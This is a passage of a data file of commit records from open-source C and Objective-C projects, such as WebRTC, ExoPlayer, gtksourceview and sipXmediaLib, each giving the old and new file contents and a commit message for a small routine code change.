g\/chromium-crosswalk,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,Fireblend\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,ondra-novak\/chromium.src,PeterWangIntel\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,Chilledheart\/chromium,mohamed--abdel-maksoud\/chromium.src,Pluto-tv\/chromium-crosswalk,littlstar\/chromium.src,fujunwei\/chromium-crosswalk,Just-D\/chromium-1,axinging\/chromium-crosswalk,Jonekee\/chromium.src,Fireblend\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,patrickm\/chromium.src,M4sse\/chromium.src,ltilve\/chromium,markYoungH\/chromium.src,M4sse\/chromium.src,dednal\/chromium.src,zcbenz\/cefode-chromium,hgl888\/chromium-crosswalk,dushu1203\/chromium.src,ltilve\/chromium,TheTypoMaster\/chromium-crosswalk,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,hujiajie\/pa-chromium,zcbenz\/cefode-chromium,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,markYoungH\/chromium.src,ChromiumWebApps\/chromium,dushu1203\/chromium.src,hujiajie\/pa-chromium,mohamed--abdel-maksoud\/chromium.src,littlstar\/chromium.src,hujiajie\/pa-chromium,anirudhSK\/chromium,axinging\/chromium-crosswalk,dednal\/chromium.src,fujunwei\/chromium-crosswalk,timopulkkinen\/BubbleFish,fujunwei\/chromium-crosswalk,Chilledheart\/chromium,mohamed--abdel-maksoud\/chromium.src,Chilledheart\/chromium,chuan9\/chromium-crosswalk,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,ltilve\/chromium,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,nacl-webkit\/chrome_deps,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,axinging\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,zcbenz\/cefode-chromium,Jonekee\/chromium.src,mohamed--abdel-maksoud\/chromium.src,M4sse\/chromium.src,zcbenz\/cefode-chromium,jaruba\/chromium.src,M4sse\/chromium.src,jaruba\/chromium.src,nacl-webkit\/chrome_deps,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,timopulkkinen\/BubbleFish,jaruba\/chromium.src,patrickm\/chromium.src,jaruba\/chromium.src,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,patrickm\/chromium.src,nacl-webkit\/chrome_deps,dednal\/chromium.src,timopulkkinen\/BubbleFish,ondra-novak\/chromium.src,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,ondra-novak\/chromium.src,junmin-zhu\/chromium-rivertrail,chuan9\/chromium-crosswalk,anirudhSK\/chromium,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,timopulkkinen\/BubbleFish,PeterWangIntel\/chromium-crosswalk,ltilve\/chromium,ChromiumWebApps\/chromium,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,patrickm\/chromium.src,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk,zcbenz\/cefode-chromium,junmin-zhu\/chromium-rivertrail,mogoweb\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Chilledheart\/chromium,chuan9\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,ChromiumWebApps\/chromium,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,axinging\/chromium-crosswalk,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,M4sse\/chromium.src,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,mogoweb\/chromium-crosswalk,jaruba\/chromium.src,TheTypoMaster\/chromium-crosswalk,axinging\/chromium-crosswalk,Just-D\/chromium-1,crosswalk-project\/chromium-crosswalk-efl,anirudhSK\/chromium,TheTypoMaster\/chromium-crosswalk,zcbenz\/cefode-chromium,chuan9\/chromium-crosswalk,anirudhSK\/chromium,crosswalk-project\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,jaruba\/chromium.src,hgl888\/chromium-crosswalk-efl,littlstar\/chromium.src,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,TheTypoMaster\/chromium-crosswalk,Chilledheart\/chromium,timopulkkinen\/BubbleFish,chuan9\/chromium-crosswalk,mogoweb\/chromium-crosswalk,ltilve\/chromium,dednal\/chromium.src,TheTypoMaster\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,ltilve\/chromium,Jonekee\/chromium.src,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,mogoweb\/chromium-crosswalk,dushu1203\/chromium.src,markYoungH\/chromium.src,axinging\/chromium-crosswalk,ltilve\/chromium,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,hujiajie\/pa-chromium,bright-sparks\/chromium-spacewalk,zcbenz\/cefode-chromium,anirudhSK\/chromium,M4sse\/chromium.src,Pluto-tv\/chromium-crosswalk,ondra-novak\/chromium.src,junmin-zhu\/chromium-rivertrail,markYoungH\/chromium.src,patrickm\/chromium.src,nacl-webkit\/chrome_deps,crosswalk-project\/chromium-crosswalk-efl,dushu1203\/chromium.src,ltilve\/chromium,hujiajie\/pa-chromium,timopulkkinen\/BubbleFish,dednal\/chromium.src,ondra-novak\/chromium.src,hujiajie\/pa-chromium"}
{"commit":"c3d0d1fa21c0302241b35fde7d591b27f6eb3afa","old_file":"common_audio\/signal_processing\/cross_correlation.c","new_file":"common_audio\/signal_processing\/cross_correlation.c","old_contents":"\/*\n *  Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"webrtc\/common_audio\/signal_processing\/include\/signal_processing_library.h\"\n\n\/* C version of WebRtcSpl_CrossCorrelation() for generic platforms. *\/\nvoid WebRtcSpl_CrossCorrelationC(int32_t* cross_correlation,\n                                 const int16_t* seq1,\n                                 const int16_t* seq2,\n                                 int16_t dim_seq,\n                                 int16_t dim_cross_correlation,\n                                 int right_shifts,\n                                 int step_seq2) {\n  int i = 0, j = 0;\n\n  for (i = 0; i < dim_cross_correlation; i++) {\n    int32_t corr = 0;\n    \/\/ Linux 64-bit performance is improved by the int16_t cast below.\n    \/\/ Presumably this is some sort of compiler bug, as there's no obvious\n    \/\/ reason why that should result in better code.\n    for (j = 0; j < dim_seq; j++)\n      corr += (seq1[j] * seq2[j]) >> (int16_t)right_shifts;\n    seq2 += step_seq2;\n    *cross_correlation++ = corr;\n  }\n}\n","new_contents":"\/*\n *  Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"webrtc\/common_audio\/signal_processing\/include\/signal_processing_library.h\"\n\n\/* C version of WebRtcSpl_CrossCorrelation() for generic platforms. *\/\nvoid WebRtcSpl_CrossCorrelationC(int32_t* cross_correlation,\n                                 const int16_t* seq1,\n                                 const int16_t* seq2,\n                                 int16_t dim_seq,\n                                 int16_t dim_cross_correlation,\n                                 int right_shifts,\n                                 int step_seq2) {\n  int i = 0, j = 0;\n\n  for (i = 0; i < dim_cross_correlation; i++) {\n    int32_t corr = 0;\n    for (j = 0; j < dim_seq; j++)\n      corr += (seq1[j] * seq2[j]) >> right_shifts;\n    seq2 += step_seq2;\n    *cross_correlation++ = corr;\n  }\n}\n","subject":"Remove a cast again, after it was shown to worsen Windows perf.","message":"Remove a cast again, after it was shown to worsen Windows perf.\n\nThis will hurt Linux x64 perf, but we think that's a compiler bug and we're\nwilling to take the hit for the better clarity of the code sans cast as well as\nthe better Windows perf.  Hopefully eventually the compiler will improve.\n\nBUG=504813\nTEST=none\nTBR=andrew\n\nReview URL: https:\/\/codereview.webrtc.org\/1215053002\n\nCr-Original-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#9516}\nCr-Mirrored-From: https:\/\/chromium.googlesource.com\/external\/webrtc\nCr-Mirrored-Commit: 3c60d614636a858e18fda9e52045fd1192517b8d\n","lang":"C","license":"bsd-3-clause","repos":"sippet\/webrtc,sippet\/webrtc,sippet\/webrtc,sippet\/webrtc,sippet\/webrtc,sippet\/webrtc"}
{"commit":"0420ff2a64e441402a14ab10ea5fcf12badc6c42","old_file":"util.h","new_file":"util.h","old_contents":"#ifndef UTIL_H\n#define UTIL_H\n\n#include \"fibrile.h\"\n\n\/** Atomics. *\/\n#define fence() fibrile_fence()\n#define fadd(ptr, n) __sync_fetch_and_add(ptr, n)\n#define cas(...) __sync_val_compare_and_swap(__VA_ARGS__)\n\n\/** Lock. *\/\n#define lock(ptr)   fibrile_lock(ptr)\n#define unlock(ptr) fibrile_unlock(ptr)\n#define trylock(ptr) (!__sync_lock_test_and_set(ptr, 1))\n\n\/** Barrier. *\/\nstatic inline void barrier(int n)\n{\n  static volatile int count = 0;\n  static volatile int sense = 0;\n\n  int local_sense = !fibrile_deq.sense;\n\n  if (fadd(&count, 1) == n - 1) {\n    count = 0;\n    sense = local_sense;\n  }\n\n  while (sense != local_sense);\n}\n\n\/** Others. *\/\n\ntypedef struct _frame_t {\n  void * rsp;\n  void * rip;\n} frame_t;\n\n#define this_frame() ((frame_t *) __builtin_frame_address(0))\n#define unreachable() __builtin_unreachable()\n\n#define adjust(addr, offset) ((void *) addr - offset)\n\n#endif \/* end of include guard: UTIL_H *\/\n","new_contents":"#ifndef UTIL_H\n#define UTIL_H\n\n#include \"fibrile.h\"\n\n\/** Atomics. *\/\n#define fence() fibrile_fence()\n#define fadd(ptr, n) __sync_fetch_and_add(ptr, n)\n#define cas(...) __sync_val_compare_and_swap(__VA_ARGS__)\n\n\/** Lock. *\/\n#define lock(ptr)   fibrile_lock(ptr)\n#define unlock(ptr) fibrile_unlock(ptr)\n#define trylock(ptr) (!__sync_lock_test_and_set(ptr, 1))\n\n\/** Barrier. *\/\nstatic inline void barrier(int n)\n{\n  static volatile int count = 0;\n  static volatile int sense = 0;\n\n  int local_sense = !fibrile_deq.sense;\n\n  if (fadd(&count, 1) == n - 1) {\n    count = 0;\n    sense = local_sense;\n  }\n\n  while (sense != local_sense);\n  fence();\n}\n\n\/** Others. *\/\n\ntypedef struct _frame_t {\n  void * rsp;\n  void * rip;\n} frame_t;\n\n#define this_frame() ((frame_t *) __builtin_frame_address(0))\n#define unreachable() __builtin_unreachable()\n\n#define adjust(addr, offset) ((void *) addr - offset)\n\n#endif \/* end of include guard: UTIL_H *\/\n","subject":"Add a fence in barrier.","message":"Add a fence in barrier.\n","lang":"C","license":"mit","repos":"chaoran\/fibril,chaoran\/fibril,chaoran\/fibril"}
{"commit":"6bed2ffc047130faf3beb32aacc75aa251d355bc","old_file":"extensions\/flac\/src\/main\/jni\/include\/data_source.h","new_file":"extensions\/flac\/src\/main\/jni\/include\/data_source.h","old_contents":"\/*\n * Copyright (C) 2016 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef INCLUDE_DATA_SOURCE_H_\n#define INCLUDE_DATA_SOURCE_H_\n\n#include <jni.h>\n#include <sys\/types.h>\n\nclass DataSource {\n public:\n  \/\/ Returns the number of bytes read, or -1 on failure. It's not an error if\n  \/\/ this returns zero; it just means the given offset is equal to, or\n  \/\/ beyond, the end of the source.\n  virtual ssize_t readAt(off64_t offset, void* const data, size_t size) = 0;\n};\n\n#endif  \/\/ INCLUDE_DATA_SOURCE_H_\n","new_contents":"\/*\n * Copyright (C) 2016 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef INCLUDE_DATA_SOURCE_H_\n#define INCLUDE_DATA_SOURCE_H_\n\n#include <jni.h>\n#include <sys\/types.h>\n\nclass DataSource {\n public:\n  virtual ~DataSource() {}\n  \/\/ Returns the number of bytes read, or -1 on failure. It's not an error if\n  \/\/ this returns zero; it just means the given offset is equal to, or\n  \/\/ beyond, the end of the source.\n  virtual ssize_t readAt(off64_t offset, void* const data, size_t size) = 0;\n};\n\n#endif  \/\/ INCLUDE_DATA_SOURCE_H_\n","subject":"Remove ndk-build from [] flac build rules","message":"Remove ndk-build from [] flac build rules\n\nAndroid NDK r9 in [] is deprecated (see []\n\nUpdate the ExoPlayer flac extensions to use android_jni_library.\n\n-------------\nCreated by MOE: https:\/\/github.com\/google\/moe\nMOE_MIGRATED_REVID=182017669\n","lang":"C","license":"apache-2.0","repos":"KiminRyu\/ExoPlayer,ebr11\/ExoPlayer,saki4510t\/ExoPlayer,ened\/ExoPlayer,amzn\/exoplayer-amazon-port,ened\/ExoPlayer,MaTriXy\/ExoPlayer,tntcrowd\/ExoPlayer,kiall\/ExoPlayer,stari4ek\/ExoPlayer,superbderrick\/ExoPlayer,MaTriXy\/ExoPlayer,saki4510t\/ExoPlayer,superbderrick\/ExoPlayer,tntcrowd\/ExoPlayer,androidx\/media,superbderrick\/ExoPlayer,saki4510t\/ExoPlayer,google\/ExoPlayer,ebr11\/ExoPlayer,tntcrowd\/ExoPlayer,ebr11\/ExoPlayer,amzn\/exoplayer-amazon-port,KiminRyu\/ExoPlayer,androidx\/media,MaTriXy\/ExoPlayer,stari4ek\/ExoPlayer,kiall\/ExoPlayer,google\/ExoPlayer,ened\/ExoPlayer,amzn\/exoplayer-amazon-port,stari4ek\/ExoPlayer,google\/ExoPlayer,KiminRyu\/ExoPlayer,androidx\/media,kiall\/ExoPlayer"}
{"commit":"9dc95fbb934b842c8c055541d727477eb5de8d44","old_file":"Criollo\/Source\/Extensions\/NSDate+RFC1123.h","new_file":"Criollo\/Source\/Extensions\/NSDate+RFC1123.h","old_contents":"\/\/\n\/\/  NSDate+RFC1123.h\n\/\/  MKNetworkKit\n\/\/\n\/\/  Created by Marcus Rohrmoser\n\/\/  http:\/\/blog.mro.name\/2009\/08\/nsdateformatter-http-header\/\n\/\/  http:\/\/www.w3.org\/Protocols\/rfc2616\/rfc2616-sec3.html#sec3.3.1\n\n\/\/  No obvious license attached\n\n\/**\n Convert RFC1123 format dates\n\n *\/\n\n@interface NSDate (RFC1123)\n\n\/**\n * @name Convert a string to NSDate\n *\/\n\n\/**\n * Convert a RFC1123 'Full-Date' string\n * (http:\/\/www.w3.org\/Protocols\/rfc2616\/rfc2616-sec3.html#sec3.3.1)\n * into NSDate.\n *\n * @param value_ NSString* the string to convert\n * @return NSDate*\n *\/\n+(NSDate*)dateFromRFC1123:(NSString*)value_;\n\n\/**\n * @name Retrieve NSString value of the current date\n *\/\n\n\/**\n * Convert NSDate into a RFC1123 'Full-Date' string\n * (http:\/\/www.w3.org\/Protocols\/rfc2616\/rfc2616-sec3.html#sec3.3.1).\n *\n * @return NSString*\n *\/\n@property (nonatomic, readonly, copy) NSString *rfc1123String;\n\n@end\n","new_contents":"\/\/\n\/\/  NSDate+RFC1123.h\n\/\/  MKNetworkKit\n\/\/\n\/\/  Created by Marcus Rohrmoser\n\/\/  http:\/\/blog.mro.name\/2009\/08\/nsdateformatter-http-header\/\n\/\/  http:\/\/www.w3.org\/Protocols\/rfc2616\/rfc2616-sec3.html#sec3.3.1\n\n\/\/  No obvious license attached\n\n#import <Foundation\/Foundation.h>\n\n\/**\n Convert RFC1123 format dates\n *\/\n\n@interface NSDate (RFC1123)\n\n\/**\n * @name Convert a string to NSDate\n *\/\n\n\/**\n * Convert a RFC1123 'Full-Date' string\n * (http:\/\/www.w3.org\/Protocols\/rfc2616\/rfc2616-sec3.html#sec3.3.1)\n * into NSDate.\n *\n * @param value_ NSString* the string to convert\n * @return NSDate*\n *\/\n+(NSDate*)dateFromRFC1123:(NSString*)value_;\n\n\/**\n * @name Retrieve NSString value of the current date\n *\/\n\n\/**\n * Convert NSDate into a RFC1123 'Full-Date' string\n * (http:\/\/www.w3.org\/Protocols\/rfc2616\/rfc2616-sec3.html#sec3.3.1).\n *\n * @return NSString*\n *\/\n@property (nonatomic, readonly, copy) NSString *rfc1123String;\n\n@end\n","subject":"Add explicit Foundation import to NSDate extension (for spm compatibility)","message":"Add explicit Foundation import to NSDate extension (for spm compatibility)\n","lang":"C","license":"mit","repos":"thecatalinstan\/Criollo,thecatalinstan\/Criollo,thecatalinstan\/Criollo"}
{"commit":"a9aeb47a0bbf847dbe899e5cc875b25dc9ee71d7","old_file":"gtksourceview2.h","new_file":"gtksourceview2.h","old_contents":"#include \"gtk2hs_macros.h\"\n#include <gtksourceview\/gtksourcebuffer.h>\n#if GTK_MAJOR_VERSION < 3\n#include <gtksourceview\/gtksourceiter.h>\n#endif\n#include <gtksourceview\/gtksourcelanguage.h>\n#include <gtksourceview\/gtksourcelanguagemanager.h>\n#include <gtksourceview\/gtksourcestyle.h>\n#include <gtksourceview\/gtksourcestylescheme.h>\n#include <gtksourceview\/gtksourcestyleschememanager.h>\n#include <gtksourceview\/gtksourceview.h>\n#include <gtksourceview\/gtksourceview-typebuiltins.h>\n#include <gtksourceview\/gtksourceundomanager.h>\n#include <gtksourceview\/gtksourcecompletionitem.h>\n","new_contents":"#include \"gtk2hs_macros.h\"\n#include <gtksourceview\/gtksourcebuffer.h>\n#if GTK_MAJOR_VERSION < 3\n#include <gtksourceview\/gtksourceiter.h>\n#endif\n#include <gtksourceview\/gtksourcelanguage.h>\n#include <gtksourceview\/gtksourcelanguagemanager.h>\n#include <gtksourceview\/gtksourcestyle.h>\n#include <gtksourceview\/gtksourcestylescheme.h>\n#include <gtksourceview\/gtksourcestyleschememanager.h>\n#include <gtksourceview\/gtksourceview.h>\n#include <gtksourceview\/gtksourceview-typebuiltins.h>\n#include <gtksourceview\/gtksourceundomanager.h>\n#include <gtksourceview\/gtksourcecompletionitem.h>\n#include <gtksourceview\/gtksourcegutter.h>\n#include <gtksourceview\/gtksourcecompletionprovider.h>\n#include <gtksourceview\/gtksourcecompletionproposal.h>\n#include <gtksourceview\/gtksourcemark.h>\n#include <gtksourceview\/gtksourcecompletioninfo.h>\n","subject":"Fix for new versions of gtksourceview provided by Oleg Chiruhin","message":"Fix for new versions of gtksourceview provided by Oleg Chiruhin\n","lang":"C","license":"lgpl-2.1","repos":"gtk2hs\/gtksourceview,gtk2hs\/gtksourceview"}
{"commit":"b80f4b7f7354507616789b1753f115ecfe111013","old_file":"tests\/regression\/27-inv_invariants\/04-ints-not-interval.c","new_file":"tests\/regression\/27-inv_invariants\/04-ints-not-interval.c","old_contents":"\/\/PARAM: --disable ana.int.def_exc --enable ana.int.interval\nint main() {\n    int x;\n\n    if(!x) {\n        assert(x==0);\n    } else {\n        assert(x==1); \/\/UNKNOWN!\n    }\n}\n","new_contents":"\/\/PARAM: --disable ana.int.def_exc --enable ana.int.interval\nint main() {\n    int x;\n\n    if(!x) {\n    } else {\n        assert(x==1); \/\/UNKNOWN!\n    }\n}\n","subject":"Remove assert that is unknown when runinng only with interval","message":"27\/04: Remove assert that is unknown when runinng only with interval\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"32c768d0c03717f729871dc666388c6ca785aedb","old_file":"Sources\/OMValidation.h","new_file":"Sources\/OMValidation.h","old_contents":"\/\/\r\n\/\/ OMValidation.h\r\n\/\/ OMValidation\r\n\/\/\r\n\/\/ Copyright (C) 2015 Oliver Mader\r\n\/\/\r\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\r\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\r\n\/\/ in the Software without restriction, including without limitation the rights\r\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n\/\/ copies of the Software, and to permit persons to whom the Software is\r\n\/\/ furnished to do so, subject to the following conditions:\r\n\/\/\r\n\/\/ The above copyright notice and this permission notice shall be included in\r\n\/\/ all copies or substantial portions of the Software.\r\n\/\/\r\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\r\n\/\/ THE SOFTWARE.\r\n\/\/\r\n\r\n#import \"OMValidationFailure.h\"\r\n#import \"NSObject+OMValidation.h\"\r\n#import \"NSString+OMValidation.h\"\r\n#import \"NSNumber+OMValidation.h\"\r\n#import \"OMValidate.h\"\r\n\r\n#ifdef OMVALIDATION_PROMISES_AVAILABLE\r\n#import \"OMValidationTask.h\"\r\n#endif","new_contents":"\/\/\r\n\/\/ OMValidation.h\r\n\/\/ OMValidation\r\n\/\/\r\n\/\/ Copyright (C) 2015 Oliver Mader\r\n\/\/\r\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\r\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\r\n\/\/ in the Software without restriction, including without limitation the rights\r\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n\/\/ copies of the Software, and to permit persons to whom the Software is\r\n\/\/ furnished to do so, subject to the following conditions:\r\n\/\/\r\n\/\/ The above copyright notice and this permission notice shall be included in\r\n\/\/ all copies or substantial portions of the Software.\r\n\/\/\r\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\r\n\/\/ THE SOFTWARE.\r\n\/\/\r\n\r\n#import \"OMValidationFailure.h\"\r\n#import \"NSObject+OMValidation.h\"\r\n#import \"NSString+OMValidation.h\"\r\n#import \"NSNumber+OMValidation.h\"\r\n#import \"NSArray+OMValidation.h\"\r\n#import \"OMValidate.h\"\r\n\r\n#ifdef OMVALIDATION_PROMISES_AVAILABLE\r\n#import \"OMValidationTask.h\"\r\n#endif","subject":"Include NSArray category into main header","message":"Include NSArray category into main header\n","lang":"C","license":"mit","repos":"b52\/OMValidation"}
{"commit":"c7672beb8d218d7b403d4cb801614d40206c00d5","old_file":"sipXmediaLib\/include\/mp\/MprnRtpStreamActivityMsg.h","new_file":"sipXmediaLib\/include\/mp\/MprnRtpStreamActivityMsg.h","old_contents":"","new_contents":"\/\/  \n\/\/ Copyright (C) 2008 SIPez LLC. \n\/\/ Licensed to SIPfoundry under a Contributor Agreement. \n\/\/\n\/\/ Copyright (C) 2008 SIPfoundry Inc.\n\/\/ Licensed by SIPfoundry under the LGPL license.\n\/\/\n\/\/ $$\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef _MprnRtpStreamActivityMsg_h_\n#define _MprnRtpStreamActivityMsg_h_\n\n\/\/ SYSTEM INCLUDES\n\n\/\/ APPLICATION INCLUDES\n#include \"os\/OsMsg.h\"\n#include \"utl\/UtlString.h\"\n#include \"MpResNotificationMsg.h\"\n\n\/\/ DEFINES\n\/\/ MACROS\n\/\/ EXTERNAL FUNCTIONS\n\/\/ EXTERNAL VARIABLES\n\/\/ CONSTANTS\n\/\/ STRUCTS\n\/\/ TYPEDEFS\n\/\/ FORWARD DECLARATIONS\n\n\/**\n*  Notification used to communicate RTP stream activity.\n*\/ \nclass MprnRtpStreamActivityMsg : public MpResNotificationMsg\n{\n\/* \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ PUBLIC \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ *\/\npublic:\n\n\/* ============================ CREATORS ================================== *\/\n\/\/\/@name Creators\n\/\/@{\n\n   enum StreamState {\n      STREAM_START,  \/\/\/< Stream have been started\n      STREAM_STOP,   \/\/\/< Stream have been stopped\n      STREAM_CHANGE  \/\/\/< Stream attributes have been changed\n   };\n\n     \/\/\/ Constructor\n   MprnRtpStreamActivityMsg(const UtlString& namedResOriginator,\n                            StreamState state,\n                            RtpSRC ssrc,\n                            unsigned address,\n                            int port,\n                            MpConnectionID connId = MP_INVALID_CONNECTION_ID,\n                            int streamId = -1);\n\n     \/\/\/ Copy constructor\n   MprnRtpStreamActivityMsg(const MprnRtpStreamActivityMsg& rMsg);\n\n     \/\/\/ Create a copy of this msg object (which may be of a derived type)\n   virtual OsMsg* createCopy() const;\n\n     \/\/\/ Destructor\n   virtual ~MprnRtpStreamActivityMsg();\n\n\/\/@}\n\n\/* ============================ MANIPULATORS ============================== *\/\n\/\/\/@name Manipulators\n\/\/@{\n\n     \/\/\/ Assignment operator\n   MprnRtpStreamActivityMsg& operator=(const MprnRtpStreamActivityMsg& rhs);\n\n\/\/@}\n\n\/* ============================ ACCESSORS ================================= *\/\n\/\/\/@name Accessors\n\/\/@{\n\n     \/\/\/ Get the stream state.\n   StreamState getState() const;\n\n     \/\/\/ Get the stream SSRC.\n   unsigned getSsrc() const;\n\n     \/\/\/ Get IP address of the stream source\/destination.\n   unsigned getAddress() const;\n\n     \/\/\/ Get port of the stream source\/destination.\n   int getPort() const;\n\n\/\/@}\n\n\/* ============================ INQUIRY =================================== *\/\n\/\/\/@name Inquiry\n\/\/@{\n\n\/\/@}\n\n\/* \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ PROTECTED \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ *\/\nprotected:\n   StreamState mState;  \/\/\/< Stream state to be reported.\n   RtpSRC mSsrc;        \/\/\/< SSRC of the stream.\n   unsigned mAddress;   \/\/\/< IP of the stream source\/destination.\n   int mPort;           \/\/\/< Port of the stream source\/destination.\n\n\/* \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ PRIVATE \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ *\/\nprivate:\n};\n\n\/* ============================ INLINE METHODS ============================ *\/\n\n#endif  \/\/ _MprnRtpStreamActivityMsg_h_\n","subject":"Add notification message which will be used to notify about voice activity.","message":"Add notification message which will be used to notify about voice activity.\n\n\ngit-svn-id: f26ccc5efe72c2bd8e1c40f599fe313f2692e4de@10875 